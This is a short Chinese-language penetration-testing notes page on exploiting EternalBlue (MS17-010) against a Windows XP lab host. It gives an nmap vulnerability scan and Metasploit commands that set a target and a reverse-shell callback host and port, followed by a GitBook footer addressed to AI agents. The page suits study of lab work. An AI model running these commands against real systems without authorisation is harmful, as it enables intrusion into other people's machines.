> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/smb-445/eternalblue-exploitation.md).

# EternalBlue 利用

## EternalBlue 利用 - SMB /\[MS17-010]

Nmap 扫描显示目标服务器正在运行 Windows XP，这使得验证 MS17-010 利用是否可行很有必要。

运行 Nmap 扫描以检查该漏洞：

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

这次扫描确认该机器存在 MS17-010 漏洞。

<figure><img src="/files/d4dc33f1ae19663a9c6de8b20c5ee8aeb8dbe348" alt=""><figcaption></figcaption></figure>

## **使用 Metasploit 进行漏洞利用**

在 Metasploit 中搜索该漏洞利用：

```
msfconsole 
search eternalblue 
```

选择列表中的第一个漏洞利用：

```
use 1
```

<figure><img src="/files/b304743b406ed9f31b221f1887ee95107eb1a755" alt=""><figcaption></figcaption></figure>

配置选项：

```bash
set RHOSTS 10.10.10.4
set LHOST 10.10.14.50
set LPORT 443
```

<figure><img src="/files/42143f6222add8c9ec69d64aeb548d883ee59eec" alt="" width="563"><figcaption></figcaption></figure>

然后启动漏洞利用：

<figure><img src="/files/e2ab0677d7e9ef8ef573bd2e879e086f6dd5082f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/smb-445/eternalblue-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
